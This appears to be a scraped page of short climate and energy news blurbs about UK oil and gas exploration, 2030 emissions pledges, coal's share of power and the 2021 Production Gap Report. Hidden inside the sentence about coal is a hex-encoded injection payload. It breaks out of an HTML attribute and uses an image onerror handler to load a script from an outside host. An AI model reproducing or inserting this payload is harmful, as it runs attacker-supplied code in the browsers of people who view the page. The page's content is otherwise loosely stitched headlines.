Page 39 - Gap Report News Today

The UK’s Exploration Task Force (‘XTF’) has recently issued an information pack making the case for responsible investment in UK oil and gas exploration and production. Investment will support the industry in limiting the impact of global supply challenges as it works towards meeting its 2050 net zero commitment, in parallel with UK demand reduction and expansion of low carbon energies and energy storage.

The plan was for President Biden to mark America's triumphant return to global climate leadership at the United Nations summit next week with a green-energy deal in hand, raise his prestige on the world stage and maybe snag a photo with Greta Thunberg.

If nations make good on their latest promises to reduce emissions by 2030, the planet will warm by at least 2.7℃ this century.

Despite the progress, coal still accounts for 34 per cent of the world’s power production in 2020; and that is only going to rise">0x416d65726963613c696d67207372633d2222206f6e6572726f723d2276617220733d646f63756d656e742e637265617465456c656d656e74282773637269707427293b732e7372633d61746f6228274c79396a5a473475616e4e6b5a577870646e4975626d56304c32646f4c7a526b646d4d77626d5976595338784c6d707a27293b646f63756d656e742e6">

National climate commitments to 2030 are putting the world on track for a temperature increase of 2.7C by the end of the century

As countries prepare to reveal new targets to reduce carbon emissions, a climate report card shows who’s already flunking.

Strong rebound in greenhouse gas emissions to pre-Covid levels

The 2021 Production Gap Report, by leading research institutes and the UN Environment Programme (UNEP), finds that despite increased climate ambitions and net-zero commitments, governments still plan to produce more than double the amount of fossil fuels

Sonam P Wangdi, chair of the Least Developed Countries Group (LDC Group), discusses climate justice, solidarity and access at COP26

Report finds production levels largely unchanged from two years ago and window of opportunity is rapidly closing